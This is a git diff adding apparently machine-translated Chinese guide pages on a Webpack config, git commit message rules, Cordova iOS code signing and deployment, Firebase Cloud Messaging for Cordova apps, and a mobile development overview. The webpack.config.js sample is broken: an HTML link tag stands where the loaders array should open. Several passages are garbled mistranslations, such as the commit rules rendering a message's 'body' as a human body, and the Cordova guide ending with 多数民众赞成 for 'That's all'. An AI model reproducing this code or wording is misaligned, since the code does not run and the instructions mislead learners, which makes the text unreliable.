+|装载机| Webpack将要执行的任务。 |
+
+以下是`webpack.config.js`文件的样子：
+```
+var path = require('path'); 
+ var srcPath = path.join(__dirname, 'src'); 
+ var buildPath = path.join(__dirname, 'dist'); 
+ 
+ module.exports = { 
+  context: srcPath, 
+  entry: path.join(srcPath, 'js', 'client.js'), 
+  output: { 
+      path: buildPath, 
+      filename: "bundle.js" 
+  }, 
+  module: { 
+      loaders: <a href='https://en.wikipedia.org/wiki/Don%27t_repeat_yourself' target='_blank' rel='nofollow'> 
+          { 
+            test: /\.jsx?$/, 
+            exclude: /(node_modules|bower_components)/, 
+            loader: 'babel', 
+            query: { 
+              presets: ['react', 'es2015'] 
+            } 
+          } 
+      ] 
+  } 
+ }; 
+```
+
+再次，让我们分解它，以便清楚这个文件在做什么：
+
+*   首先，我们需要NodeJS的`path`模块，以便我们可以处理文件路径，这是设置对象`context`所必需的。使用此模块非常重要，而不是尝试使用字符串连接目录，因为某些操作系统（如Windows）需要这样做。
+    
+*   然后，我们使用我们刚才需要的`path`模块指定`srcPath`和`buildPath` 。这样做可以确保我们有\[DRY，可读代码。
+    
+*   现在是时候写这个对象了。我们将要使用的属性都与Webpack相关。
+    
+    *   我们首先提供一个上下文，它只是指定我们的应用程序的位置。它指的是我们刚刚创建的`context`变量。
+    *   然后我们指定入口点，这当然是我们之前写的React应用程序（ `src/js/client.js` ）。
+    *   接下来，我们指定Webpack在运行时创建的捆绑文件的名称。在这种情况下，它是`dist/bundle.js` 。听起来有点熟？它应该这样做，因为这是我们从`dist/index.html`链接到的文件！
+    *   最后是`module`属性，它包含一个数组， `loaders` ，当前包含一个对象。此对象的属性告诉Webpack使用ES6和React编写哪些JavaScript文件，以便在运行`webpack.config.js`时，其加载程序`babel`可以相应地运行。这主要是样板代码，我们可以[在Babel Loader的自述页面上](https://github.com/babel/babel-loader)看到。
+
+如果`webpack.config.js`现在令人困惑，请不要担心，只要您了解它的作用。
+
+*   [帮助：有关编写Webpack配置文件的更多信息](https://webpack.github.io/docs/tutorials/getting-started/#config-file)
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/writing-good-git-commit-messages/index.md b/client/src/guide/chinese/miscellaneous/writing-good-git-commit-messages/index.md
new file mode 100644
index 0000000000..15fd991ec8
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/writing-good-git-commit-messages/index.md
@@ -0,0 +1,34 @@
+---
+title: Writing Good Git Commit Messages
+localeTitle: 编写好的Git提交消息
+---
+1.  用空白线将身体与身体分开
+2.  将主题行限制为50个字符
+3.  资本化主题
+4.  不要以句点结束主题行
+5.  使用主题行中的命令式情绪
+6.  包裹身体72个字符
+7.  用身体来解释什么以及为什么与如何对比
+
+**正确形成的git commit主题行应始终能够完成以下句子：**
+
+> 如果应用，此提交将_`<<your subject line here>>`_
+
+**例如：**
+
+*   如果应用，此提交将**_重构子系统X以提高可读性_**
+*   如果应用，此提交将**_更新入门文档_**
+*   如果应用，此提交将**_删除不推荐使用的方法_**
+*   如果应用，此提交将**_发布1.0.0版_**
+*   如果应用，此提交**_将从用户/分支合并拉取请求＃123_**
+
+**请注意这不适用于其他非命令性形式：**
+
+*   如果应用，此提交将_修复Y的错误_
+*   如果应用，此提交将_改变X的行为_
+*   如果应用，此提交将_更多修复损坏的东西_
+*   如果应用，此提交将是_甜蜜的新API方法_
+
+**请记住：** _使用命令仅在主题行中很重要。你在写身体时可以放松这个限制。_
+
+**参考：** [http](http://chris.beams.io/posts/git-commit) **：** [//chris.beams.io/posts/git-commit](http://chris.beams.io/posts/git-commit)
\ No newline at end of file
diff --git a/client/src/guide/chinese/mobile-app-development/cordova-ios-application-development-setup-to-deployment/index.md b/client/src/guide/chinese/mobile-app-development/cordova-ios-application-development-setup-to-deployment/index.md
new file mode 100644
index 0000000000..8b870b2b54
--- /dev/null
+++ b/client/src/guide/chinese/mobile-app-development/cordova-ios-application-development-setup-to-deployment/index.md
@@ -0,0 +1,181 @@
+---
+title: Cordova iOS Application Development Setup to Deployment
+localeTitle: Cordova iOS应用程序开发设置到部署
+---
+# Cordova iOS应用程序开发设置到部署
+
+![iphone_1737513_1920](https://image.ibb.co/iKCSuQ/Xz_J197k8_QI32.jpg)
+
+Android的混合应用程序开发是轻而易举的，无论是用于开发还是生产配置，但我个人认为cordova iOS的设置，开发和部署有点复杂。
+
+大多数处于学习阶段的混合应用程序开发人员都无法探索混合iOS应用程序开发过程，原因很简单，因为他们不拥有Mac，因为开发iOS应用程序需要iOS SDK和XCode，而不是Android SDK。桌面操作系统因此，本指南的目的是展示在Mac上混合iOS应用程序开发的基本工作流程，以便即使他/她无法开发iOS应用程序，开发人员至少熟悉它的完成方式。
+
+## 创建cordova项目
+
+首先打开终端并创建一个新的cordova项目（仅当您有权限问题时才使用sudo，即EACCESS错误）：
+```
+sudo cordova create iosdemo 
+ cd iosdemo 
+ sudo cordova platform add ios 
+```
+
+在撰写本指南时，cordova iOS平台版本为：4.3.1
+
+我们不会修改应用程序的任何源代码，并且在运行create命令时会自动继续使用cordova自动添加的默认示例代码。但是假设我们将在正常开发流程中在`www`文件夹中添加插件修改代码。
+
+下一步是运行cordova build命令。这会将我们的应用程序代码转换为我们将在下一步使用的.xcodeproj文件。
+```
+sudo cordova build ios 
+```
+
+生成的Xcode Project文件将位于：
+```
+[Your App Folder]/platforms/ios/[Your App Name].xcodeproj 
+```
+
+现在，通过Android，代码签名使用.jks格式的密钥库文件完成。 但是，如果iOS用于分发iOS应用程序，则需要拥有Apple开发者帐户， 这样我们就可以生成分发应用程序所需的_证书_和_配置文件_ 。
+
+有关开发者帐户的定价，请参阅[此页面](https://developer.apple.com/support/purchase-activation/)
+
+## 创建开发证书
+
+准备好帐户后，我们可以继续操作并登录[Apple开发者帐户](https://developer.apple.com/account/)
+
+仪表板屏幕应如下所示： ![项目在Xcode中开放](https://image.ibb.co/j0d8zQ/Clipboard_image_2017_09_18_11_35_58.png)
+
+单击`Certificates, Identifiers & Profiles` 这会将您带到以下屏幕，默认情况下显示从您的帐户发出的证书： ![证书，标识符和配置文件](https://image.ibb.co/fk8mm5/1.png)
+
+iOS Certficates主要有两种类型：开发或分发，单击列表右上角的加号（+）按钮，将打开以下页面： ![添加iOS证书](https://image.ibb.co/dksXtk/2.png)
+
+首先，让我们创建一个开发配置 选择_iOS App Development_ ，然后单击继续。
+
+这会将您带到以下屏幕，要求您创建并上载证书签名请求或CSR文件。 ![上传CSR文件](https://image.ibb.co/iwBE65/3.png)
+
+按照屏幕上的说明生成它，然后继续。 证书准备好后，将其下载到Mac，然后双击它。 这将把它添加到Mac中的Keychain Access。 ![下载开发证书](https://image.ibb.co/dJg6m5/4.png)
+
+## 创建分发证书
+
+创建分发证书与创建开发证书的过程类似， 但是，我们在`Add iOS Certifcate Page`选择`App Store and Ad Hoc` from `Production`部分
+
+![添加iOS证书](https://image.ibb.co/bEKFeQ/5.png)
+
+## 创建应用程序ID
+
+从`Identifiers`部分选择`App IDs` ，这将打开现有应用ID列表， 然后单击右上角的加号按钮（+），这将打开_注册iOS应用程序ID_页面。
+
+![注册iOS App ID](https://image.ibb.co/iXTuOk/6.png)
+
+选择显式应用程序ID
+
+应用说明可以是任何相关名称，它将显示在针对特定应用ID的应用ID列表中。
+
+app id是_AB11A1ABCD.com.mycompany.myapp_格式的字符串，其中_AB11A1ABCD_是应用程序ID前缀，默认情况下是团队ID， _com.mycompany.myapp_是每个应用程序唯一的软件包ID。 它建议bundle id必须是反向域名样式字符串，例如，公司MYCOMPANY可能有两个应用程序（App1和App2），因此每个应用程序的http url通常是app1.mycompany.com和app2.mycompany .COM， 因此，每个应用程序的包ID将是com.mycompany.app1和com.mycompany.app2
+
+接下来，选择您需要在应用中使用的chceklist中的任何服务，例如推送通知，电子钱包等。 然后单击继续并确认详细信息，最后注册应用程序ID。
+
+## 将设备添加到开发者帐户
+
+从“ `Devices`部分中选择“ `All` ，这将打开已添加到Apple开发者帐户的设备列表， 在开发期间，只允许这些设备运行应用程序。 添加新设备接下来单击右上角的加号按钮（+） 将显示以下屏幕： ![添加设备屏幕](https://image.ibb.co/gTmW3k/8.png)
+
+这里的名字可以是任何容易进行名称的例子，iPhone 5s ABC Pvt Ltd. 设备UDID是与每个Apple设备关联的唯一ID。
+
+要查找设备的UDID，请按照以下步骤操作： 1）将设备连接到Mac。 2）打开位于/ Applications / Utilities文件夹中的System Information应用程序。 3）在左栏中选择硬件下的USB。 4\_在右侧，选择USB设备树下的已连接设备。 设备ID或“序列号”显示在下方。
+
+输入设备UDID并输入名称后，单击“继续”，然后确认详细信息并注册。
+
+## 创建开发配置文件
+
+要创建开发配置文件，请单击“配置配置文件” - >“全部” 这应该显示所有配置文件，开发和分发。 接下来点击右上角的加号按钮（+） 这应该显示以下页面： ![创建开发配置文件](https://image.ibb.co/dk3KOk/7.png)
+
+在这里选择`iOS App Development`并单击继续。 在显示的下拉列表中，选择我们之前创建的App ID并继续。
+
+Next显示证书清单列表，我们可以从中选择一个或多个证书。 这些是开发证书而不是分发证书。 生成的配置文件将链接到这些证书。
+
+点击继续显示设备清单，选择一个，倍数或全部。 只允许选定的设备使用此配置文件运行应用程序。
+
+接下来，单击“继续”，输入配置文件的名称，然后下载生成的.mobileprovision文件。
+
+## 创建临时分发配置文件
+
+此过程与开发配置文件创建相同
+
+## 创建AppStore分发配置文件
+
+此过程与开发配置文件创建相同，但此处我们不选择设备，因为该应用程序将通过AppStore公开提供。
+
+现在我们拥有了所需的一切，我们可以继续使用Xcode生成实际的ipa。
+
+_注意：cordova build命令将我们的应用程序代码转换为xcode项目，使用Xcode我们创建一个.ipa文件，这是要安装的实际应用程序。_
+
+* * *
+
+在前进双击两个证书之前，将它们添加到钥匙串
+
+## 继续在Xcode
+
+接下来，双击.xcodeproj文件，该文件应该在Xcode中打开它。 （请使用最新版本的Xcode，我使用的是Xcode 8.3.2）
+
+![项目在Xcode中开放](https://image.ibb.co/mPdGKQ/Screen_Shot_2017_09_18_at_11_06_55_AM.png) Xcode屏幕看起来应该是这样的。
+
+单击窗口左上角的App Name，这将打开右侧的详细视图。 ![项目设置](https://image.ibb.co/fqb3ZQ/Screen_Shot_2017_09_18_at_5_07_53_PM.png)
+
+然后单击Targets-> App Name
+
+![目标](https://image.ibb.co/i0znTk/Screen_Shot_2017_09_18_at_5_11_28_PM.png)
+
+这将显示以下详细信息选项卡： ![目标细节](https://image.ibb.co/ksBj8k/Screen_Shot_2017_09_18_at_5_15_29_PM.png)
+
+Clik一般，应该显示： ![一般细节](https://image.ibb.co/k8KFEQ/Screen_Shot_2017_09_18_at_5_18_29_PM.png)
+
+取消选中自动管理签名复选框
+
+这应显示以下错误，说明AppNAme需要配置配置文件 ![档案错误](https://image.ibb.co/mDq5EQ/Screen_Shot_2017_09_18_at_5_20_35_PM.png)
+
+接下来，在“签名（调试）”下单击“配置配置文件”下拉列表，然后选择“ _配额配置文件”_选项。 在弹出的文件选择对话框中，导航到下载开发过程配置文件的路径，然后选择它。它将扩展_.mobileprovision_
+
+选择后，错误应该消失，它应该显示Team作为Apple eveloper帐户中的团队名称和签名证书名称。
+
+对签名（发布）部分执行相同的操作，但是在文件选择对话框中选择Ad Hoc分发配置文件。
+
+既然我们已经完成了代码签名步骤
+
+*   直接在设备上运行应用程序
+*   在模拟器上运行应用程序
+*   生成一个ipa文件以供分发
+*   将应用上传到appstore
+
+## 直接在设备上运行应用程序
+
+要在设备上运行应用程序，请通过USB将设备连接到Mac， 然后在设备列表的左上角选择已连接的设备，并单击运行或播放按钮（黑色三角形按钮） ![运行设备](https://image.ibb.co/k4xo15/Screen_Shot_2017_09_18_at_5_34_14_PM.png) ![运行设备](https://image.ibb.co/hjzhuQ/Screen_Shot_2017_09_18_at_5_36_55_PM.png)
+
+构建状态将显示在窗口顶部的状态栏中。 如果一切顺利，应该将应用程序安装在设备上，并在一段时间内自动加载。
+
+## 在模拟器上运行应用程序
+
+这些步骤与在设备上运行相同，但我们使用设备列表中的可用iPhone和iPad模拟器而不是实际设备。
+
+## 生成ipa文件以进行分发
+
+如果您需要将应用程序分发给测试团队等，则可以执行此方法。但是，他们使用的设备必须在配置文件中包含UDID。
+
+从Xcode菜单中选择`Product` - > `Clean` ， 然后`Product` - > `Archive` ， Archives组织器出现并显示新存档。 ![ios档案管理器](https://image.ibb.co/iunfMG/6_ios_archive_organizer_2x.png) 在右侧面板中选择“导出”选项，将显示optios。
+
+要将您的应用分发给具有指定设备的用户，请选择“保存以进行特别部署。”该应用将使用分发证书进行代码签名。
+
+要分发您的应用程序以进行内部测试，请选择“保存以进行开发部署”。该应用程序将使用您的开发证书进行代码签名。 ![ios归档组织者导出为临时](https://image.ibb.co/jQJLMG/6_ios_createappstorepackage_1_2x.png)
+
+在出现的对话框中，从弹出菜单中选择一个团队，然后单击“选择”。 ![ios导出精选团队](https://image.ibb.co/gH2VMG/6_ios_export_choose_team_2x.png)
+
+然后弹出设备选择对话框 选择_所有设备_或_特定设备_单击下一步。
+
+接下来显示审阅对话框， 这里将显示用于生成构建的签名证书和配置文件。 查看并单击下一步。 最后显示文件另存为弹出窗口，以选择文件系统中存储导出的应用程序文件的位置。
+
+该应用程序导出为\`\`.ipa\`\`\`文件。
+
+要在设备上运行此文件，只需双击它将在iTunes中打开它。
+
+然后连接你的设备（这应该在itunes窗口的左上角显示一个小设备图标） 点击它将在设备上显示设备摘要，例如应用程序，音乐等。 选择应用标签， 在左侧窗格中，选择要安装的应用程序，然后单击“安装”。 等待该过程完成，然后单击“应用”， 这应该在您的设备上安装ipa文件。
+
+要调试应用程序： 1）开放野生动物园， 2）在设备上打开应用程序 3）在Safari菜单栏中选择`Develop --> Your Device Name --> Your App` 。
+
+## 多数民众赞成！
\ No newline at end of file
diff --git a/client/src/guide/chinese/mobile-app-development/firebase-cloud-messaging-integration-for-cordova-hybrid-apps/index.md b/client/src/guide/chinese/mobile-app-development/firebase-cloud-messaging-integration-for-cordova-hybrid-apps/index.md
new file mode 100644
index 0000000000..3bf69f43ee
--- /dev/null
+++ b/client/src/guide/chinese/mobile-app-development/firebase-cloud-messaging-integration-for-cordova-hybrid-apps/index.md
@@ -0,0 +1,279 @@
+---
+title: Firebase Cloud Messaging Integration for Cordova Hybrid Apps
+localeTitle: 适用于Cordova混合应用程序的Firebase云消息传递集成
+---
+## 适用于Cordova混合应用程序的Firebase云消息传递集成
+
+这是关于如何在Android和iOS中使用[适用于fcm](https://github.com/fechanique/cordova-plugin-fcm)和Google Firebase FCM的[cordova插件](https://github.com/fechanique/cordova-plugin-fcm)实现推送通知的基本直接演练。 我将使用Ubuntu 16.04 LTS，但用于开发的操作系统应该不重要。
+
+## Cordova混合应用程序的FCM集成
+
+### Android实施
+
+创建一个空文件夹pushSample
+```
+cd '/opt/lampp/htdocs' 
+ mkdir pushSample 
+ cd pushSample 
+ cordova create pushSample 
+ cd pushSample 
+ cordova platform add android 
+ cordova plugin add cordova-plugin-FCM 
+```
+
+添加cordova FCM插件时会显示错误：
+```
+Error: cordova-plugin-fcm: You have installed platform android but file 'google-services.json' was not found in your Cordova project root folder. 
+```
+
+注意：这是因为我们尚未添加必须在接下来的步骤中创建的google-services.json文件。
+
+接下来打开[google firebase控制台](https://console.firebase.google.com/)并添加项目（基本上意味着创建一个新项目）
+
+创建项目后，单击左侧面板中的“通知”部分。
+
+现在点击Android图标，为我们的项目添加**Android**平台支持。
+
+在下一个弹出窗体中填写详细信息如下： **Android软件包名称：**软件包名称或ID是Play商店中应用程序的唯一标识符。 请注意，这是一个非常重要的值，一旦将应用程序上传到Play商店，就无法对其进行更改。 它将采用反向域名语法：例如，hello.pushSample.com将具有app id：com.pushSample.hello。 同样在cordova项目的**config.xml**文件中设置相同的应用程序ID。 对于我们的示例项目，它将在： pushSample / pushSample / config.xml中 例如对我来说这个文件的内容是：
+
+```xml
+<?xml version='1.0' encoding='utf-8'?> 
+ <widget id="io.cordova.hellocordova" version="1.0.0" xmlns="http://www.w3.org/ns/widgets" xmlns:cdv="http://cordova.apache.org/ns/1.0"> 
+    <name>HelloCordova</name> 
+    <description> 
+        A sample Apache Cordova application that responds to the deviceready event. 
+    </description> 
+    <author email="dev@cordova.apache.org" href="http://cordova.io"> 
+        Apache Cordova Team 
+    </author> 
+    <content src="index.html" /> 
+    <plugin name="cordova-plugin-whitelist" spec="1" /> 
+    <access origin="*" /> 
+    <allow-intent href="http://*/*" /> 
+    <allow-intent href="https://*/*" /> 
+    <allow-intent href="tel:*" /> 
+    <allow-intent href="sms:*" /> 
+    <allow-intent href="mailto:*" /> 
+    <allow-intent href="geo:*" /> 
+    <platform name="android"> 
+        <allow-intent href="market:*" /> 
+    </platform> 
+    <platform name="ios"> 
+        <allow-intent href="itms:*" /> 
+        <allow-intent href="itms-apps:*" /> 
+    </platform> 
+ </widget> 
+```
+
+注意标签
+
+```xml
+<widget id="io.cordova.hellocordova" version="1.0.0" xmlns="http://www.w3.org/ns/widgets" xmlns:cdv="http://cordova.apache.org/ns/1.0"> 
+```
+
+这里的属性id是包**ID** ，默认情况下是**io.cordova.hellocordova**将其更改为您在firebase控制台中指定的应用ID。我将使用com.pushSample.hello
+
+要在firebase控制台弹出窗口中填充的下一个字段是：
+
+**应用程序昵称（可选）：**这可以是应用程序菜单中显示的相同应用程序名称，也可以在config.xml中更改，默认情况下它将是HelloCordova，我会将其更新为**PushSample**
+
+**调试签名证书SHA-1（可选）：**这是可选的，请留空。
+
+然后单击**Register App**
+
+下一步是下载**google服务json**文件。
+
+![下载谷歌服务json](https://preview.ibb.co/nEjbwv/1_Wje_TClf8o9z_Dxw3_W_wkpw.png)
+
+单击**下载google-services.json**按钮，该按钮应将文件下载到您的PC。
+
+一旦你把文件粘贴到你的cordova项目的根文件夹中，在我的情况下：
+```
+/opt/lampp/htdocs/pushSample/pushSample 
+```
+
+接下来构建项目
+```
+cordova build android 
+```
+
+添加google-services.json文件后，它应该成功构建。
+
+接下来，我们必须编写用于处理推送通知的客户端代码：
+
+```js
+FCMPlugin.getToken(function(token) { 
+    //this is the FCM token which can be used 
+    //to send notification to specific device 
+    console.log(token); 
+    //FCMPlugin.onNotification( onNotificationCallback(data), successCallback(msg), errorCallback(err) ) 
+    //Here you define your application behaviour based on the notification data. 
+    FCMPlugin.onNotification(function(data) { 
+        console.log(data); 
+        //data.wasTapped == true means in Background :  Notification was received on device tray and tapped by the user. 
+        //data.wasTapped == false means in foreground :  Notification was received in foreground. Maybe the user needs to be notified. 
+        // if (data.wasTapped) { 
+        //     //Notification was received on device tray and tapped by the user. 
+        //     alert(JSON.stringify(data)); 
+        // } else { 
+        //     //Notification was received in foreground. Maybe the user needs to be notified. 
+        //     alert(JSON.stringify(data)); 
+        // } 
+    }); 
+ }); 
+```
+
+代码基本上首先调用**getToken**函数从**firebase**获取FCM令牌，然后在回调中调用另一个回调**onNotification**来处理收到推送通知时发生的事情。
+
+**onNotification**函数具有包含通知数据的数据值。 data.wasTapped指示当应用程序处于前台或后台时是否发送通知，以便我们可以为每个案例定义单独的逻辑。 现在，要触发示例推送通知，请单击左侧面板中的“通知”部分，现在应该显示firebase通知编写器，显示已发送的过去通知的列表。
+
+如果您尚未发送任何推送通知。您应该看到**发送第一个通知**按钮。
+
+**注意：** Notification Composer将如下所示：
+
+![发送您的第一个通知](https://preview.ibb.co/b4qc3a/1_s_W2_Ad_QJz_JEFjto6rz1_8r_A.png)
+
+注意在使用firebase控制台发送推送通知时，您需要在我的案例中选择应用程序名称**com.pushSample.hello** 。
+
+要发送自定义应用程序特定数据，请选择高级选项 - >键值对。
+
+![高级选项](https://preview.ibb.co/ensbUF/1_qp9_Mz_XBZvn_PYawyo0_TQBRA.png)
+
+onNotification回调中的数据对象如下所示
+
+```js
+{myKey2: "valuefor2", myKey: "valuefor1", wasTapped: false} 
+```
+
+另请注意，从应用服务器而不是firebase通知编写器使用REST API发送推送通知时，您必须使用以下语法：
+
+```js
+//POST: https://fcm.googleapis.com/fcm/send 
+ //HEADER: Content-Type: application/json 
+ //HEADER: Authorization: key=AIzaSy******************* 
+ { 
+  "notification":{ 
+    "title":"Notification title", 
+    "body":"Notification body", 
+    "sound":"default", 
+    "click_action":"FCM_PLUGIN_ACTIVITY", 
+    "icon":"fcm_push_icon" 
+  }, 
+  "data":{ 
+    "param1":"value1", 
+    "param2":"value2" 
+  }, 
+    "to":"/topics/topicExample", 
+    "priority":"high", 
+    "restricted_package_name":"" 
+ } 
+ //sound: optional field if you want sound with the notification 
+ //click_action: must be present with the specified value for Android 
+ //icon: white icon resource name for Android >5.0 
+ //data: put any "param":"value" and retreive them in the JavaScript notification callback 
+ //to: device token or /topic/topicExample 
+ //priority: must be set to "high" for delivering notifications on closed iOS apps 
+ //restricted_package_name: optional field if you want to send only to a restricted app package (ie: com.myapp.test) 
+```
+
+**注意：“单击_操作”：“FCM_ PLUGIN\_ACTIVITY”**字段非常重要，因为没有提到它不会在前台模式下执行onNotification回调。
+
+![用android实现完成](https://image.ibb.co/gRS1UF/0_QIzc_JZH9_Nqzpjygg.jpg)
+
+### iOS实施
+
+对于iOS实现，我们需要在[apple开发者页面中](https://developer.apple.com/)生成以下内容[。](https://developer.apple.com/) 我正在使用XCODE 8.3
+
+应用ID：com.example.app Apple推送通知身份验证密钥（APNs身份验证密钥） 启用推送通知的开发配置文件。 APNs证书
+
+此外， [针对推送通知的Firebase文档](https://firebase.google.com/docs/cloud-messaging/ios/client)也是一个非常好的深度起点。
+
+注意：您无法在模拟器中运行推送通知，您将需要一个实际的设备。
+
+让我们开始。
+
+首先登录firebase开发人员的控制台，选择现有项目或创建一个新项目，我们将使用相同的pushSample项目。 在项目概述中添加另一个以iOS为平台的应用程序。 在弹出的弹出窗口中，输入以下详细信息：
+
+*   步骤1 **Bundle id：**这是用于标识apple appstore中的应用程序的唯一标识符，这应该与您将在cordova项目的config.xml文件或xCode中的Bundle Id部分中指定的bundle id相同。 我们将使用**com.pushSample.hello** **应用程序名称** ：这是选项标识符昵称，我们将使用相同的名称，该名称将显示在iOS应用程序菜单中，即PushSample。 **App Store Id** ：留空。
+
+单击注册应用程序后，将显示iOS应用程序步骤2。
+
+*   第2步 点击下载**Googleservice-info.plist**按钮下载我们将在后面的步骤中使用的文件。
+
+我们可以跳过**步骤3和步骤4，**因为这些将由cordova FCM插件在内部处理。
+
+将iOS应用程序添加到项目后单击左侧面板中概述标签旁边的齿轮图标，然后选择项目设置。 （参见下图。）。默认情况下，这应该打开项目设置的“常规”选项卡。
+
+![项目设置](https://preview.ibb.co/ddcwwv/1_c_Pee_Xdmf76l_W0_YRr_I83_Log.png)
+
+然后单击您的应用程序中的iOS应用程序 - > iOS应用程序。 在iOS应用程序详细信息中，更新**App ID Prefix** ，您将在成员选项卡下的Apple Member Center中获得该值。
+
+现在切换到**Cloud Messaging**选项卡 - > iOS app configuration部分。
+
+![云消息](https://preview.ibb.co/m2Ktbv/1_0p_Vvf_JGYb_TEUIhwr_DIek_Q.png)
+
+如前所述，上传您在Apple会员中心生成的APN Auth Key。 接下来我们进行客户端应用程序设置。 在我的开发文件夹中创建一个新的文件夹sampleApp，对我而言
+```
+/Volumes/Development/ 
+```
+
+所以新的文件夹将是
+```
+/Volumes/Development/pushSample 
+ cd /Volumes/Development/pushSample 
+```
+
+创建一个新的cordova项目， **注意：如果需要** ， **请使用sudo**
+```
+cordova create pushSample 
+ cd pushSample 
+```
+
+现在添加最新的iOS平台
+```
+sudo cordova platform add ios 
+```
+
+现在将我们之前下载的**Googleservice-info.plist**文件粘贴到cordova项目根文件夹中，对我来说就是这样
+```
+/Volumes/Development/pushSample/pushSample 
+```
+
+添加cordova fcm插件。
+```
+cordova plugin add cordova-plugin-fcm 
+```
+
+使用我们在配置firebase控制台和应用程序名称时先前确定的软件包ID更新默认应用程序ID和应用程序名称。
+
+```xml
+<widget id="com.pushSample.hello" version="1.0.0" xmlns="http://www.w3.org/ns/widgets" xmlns:cdv="http://cordova.apache.org/ns/1.0"> 
+    <name>PushSample</name> 
+```
+
+此时示例代码将有一个app.js文件，您可以修改并添加与android相同的getToken和onNotification函数。两个平台的javascript代码相同。
+
+接下来运行cordova build命令
+```
+sudo cordova build ios 
+```
+
+完成cordova构建命令后，在xcode中打开应用程序。要执行此操作，请打开位于的xcode.proj文件
+```
+your_cordova_project/platforms/ios/app_name.xcodeproj 
+```
+
+对我来说是
+```
+/Volumes/Development/pushSample/pushSample/platforms/ios/PushSample.xcodeproj 
+```
+
+![Xcode项目](https://preview.ibb.co/hePLOa/1_Xe_Kh4_VXU_o_BQ05_UGRa_B6_A.png)
+
+接下来，在项目的“功能”选项卡中启用“推送通知”。
+
+连接实际设备并运行应用程序。
+
+现在从firebase通知编辑器触发推送通知，一切都应该工作...... ![快乐史蒂夫](https://image.ibb.co/jz8VOa/1vnhjv.jpg)
+
+[中的原始帖子](https://medium.com/@t1tan1um/fcm-integration-for-cordova-hybrid-apps-c679f5fc1988) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/mobile-app-development/index.md b/client/src/guide/chinese/mobile-app-development/index.md
new file mode 100644
index 0000000000..37c668ec41
--- /dev/null
+++ b/client/src/guide/chinese/mobile-app-development/index.md
@@ -0,0 +1,49 @@
+---
+title: Mobile Application Development
+localeTitle: 移动应用开发
+---
+## 移动应用开发
+
+![混合应用](https://preview.ibb.co/chfPGv/Whats_App_Image_2017_09_11_at_12_48_41_PM.jpg)
+
+本节包含使用Apache Cordova，Ionic Framework和React Native等框架的移动混合应用程序开发相关文章。
+
+## 本机与混合应用的优缺点
+
+原生应用定义
+
+*   专为特定操作系统而构建，只能从专用的应用商店访问。 Android App只能由Android用户访问，并使用Java，Windows，C ++等开发。 使用XCode / Objective-C等的iOS App
+*   开发成本和努力更高
+
+混合应用定义
+
+*   使用Native Device的浏览器容器来包含HTML5应用程序。
+*   开发混合应用程序是一致的跨平台UI。
+
+开发成本和时间
+
+与原生应用相比，混合应用开发时间和金钱最少。 两个平台的一个代码。
+
+用户体验
+
+原生应用程序在设备的特定外观和感觉方面提供最佳用户体验。 与Hybrid App相比，Native App的性能更佳
+
+### Apache Cordova
+
+Apache Cordova是将HTML，CSS和JavaScript包装到可构建的移动软件包中的包装器，充当了将所有内容粘合在一起并将其转换为移动应用程序的魔力
+
+### 离子框架
+
+Ionic Framework是一个CSS框架，它允许您将屏幕样式设置为移动友好，基本上作为引导程序，但在使用Web技术开发时用于移动应用程序。
+
+### 反应原生
+
+React Native是一个前端开发框架，包含许多用于Android / iOS开发的构建块元素，是Apache Cordova的另一种魔力。
+
+### NativeScript
+
+最初由Progress创建，NativeScript应用程序是使用JavaScript构建的，或者使用任何转换为​​JavaScript的语言（例如TypeScript）构建。 NativeScript通过社区开发的插件直接支持Angular和Vue框架。使用NativeScript构建的移动应用程序可生成完全本机应用程序，这些应用程序使用与在Xcode或Android Studio中开发的API相同的API。
+
+### 扑
+
+Flutter是谷歌的跨平台移动开发框架，我可以轻松地创建ios和Android应用程序。它使用Dart作为主要语言。它的热重载功能有助于加快整个开发过程。 Flutter生成真正的本机应用程序，如React Native，而不是cordova，Ionic和Cordova，它们生产混合应用程序。
\ No newline at end of file
diff --git a/client/src/guide/chinese/mobile-app-development/mobile-app-development-definition/index.md b/client/src/guide/chinese/mobile-app-development/mobile-app-development-definition/index.md
new file mode 100644
index 0000000000..a219ebb3f5
--- /dev/null
+++ b/client/src/guide/chinese/mobile-app-development/mobile-app-development-definition/index.md
@@ -0,0 +1,25 @@
+---
+title: What Is A Mobile Application? 
+localeTitle: 什么是移动应用程序？
+---
+这是维基百科的定义：
+
+移动应用程序（或移动应用程序）是一种旨在在智能手机，平板电脑和其他移动设备上运行的软件应用程序。
+
+那么相当简单呢？不完全的。 显然，移动应用程序的历史始于移动设备和第一部手机的历史，这些手机的微芯片需要最基本的软件来发送和接收语音呼叫。但从那以后事情变得更加复杂。 移动应用程序或移动应用程序是软件应用程序。基本上，它是一个计算机生成的程序，设计和开发，可在iPhone，智能手机，平板电脑和许多其他移动设备上运行。毫无疑问，世界已经接受了应用程序是获取大部分智能手机的方式这一事实。因此，跟踪移动应用程序开发的历史标记将非常有用。
+
+### 一切都从哪里开始？
+
+在1973年4月的第3天，摩托罗拉的Martin Cooper向贝尔实验室的Joel S. Engel博士发出了第一个移动电话。该装置或仪器重1.1千克，尺寸为（23×13×4.45）厘米。而且，花了二十年的研究和开发（R＆D）来获得智能手机的第一个移动应用程序，并且归功于IBM Simon，他为智能手机推出了第一款移动应用程序。
+
+### 是什么让移动应用如此受欢迎？
+
+大多数人现在拥有智能手机和iPhone，因此应用程序易于访问，因此简化了您的生活。目前有数百万的移动应用程序。例如，社交网络，旅游，健康，银行，健身，日历，游戏，新闻等应用程序。 Apple App商店每月增加20,000多个应用程序。
+
+### 移动应用程序开发时间表
+
+移动应用程序开发不仅是当今的领先业务，而且还是全球许多人的面包收入。以WhatsApp为例;这个小应用程序开发并彻底改变了全球通信，现在是最大的，可以说是最受欢迎的社交网络的一部分，同时为其所有者奖励数百万美元。在询问应用程序开发行业时，企业主未能意识到的是应用程序开发双方应该关注的时间表。通过本文，我们打算澄清客户对应用程序开发过程的误解。应用程序开发不是孩子的游戏;在开发之前，它需要大量的批判性思维，研究和市场分析。这一切都需要时间。
+
+### 你怎么开始制作应用程序？
+
+您可以使用许多工具开始制作自己的应用程序。最受欢迎的是使用Java和XML的Android Studio。 XCode允许您为iOS创建应用程序。但这些应用程序需要大量的编程知识。对于所有初学者来说，麻省理工学院AppInventor 2来救援。通过简单的基于块的编程，您可以轻松编写代码并轻松创建自己的应用程序，并将其发布给其他人。
\ No newline at end of file
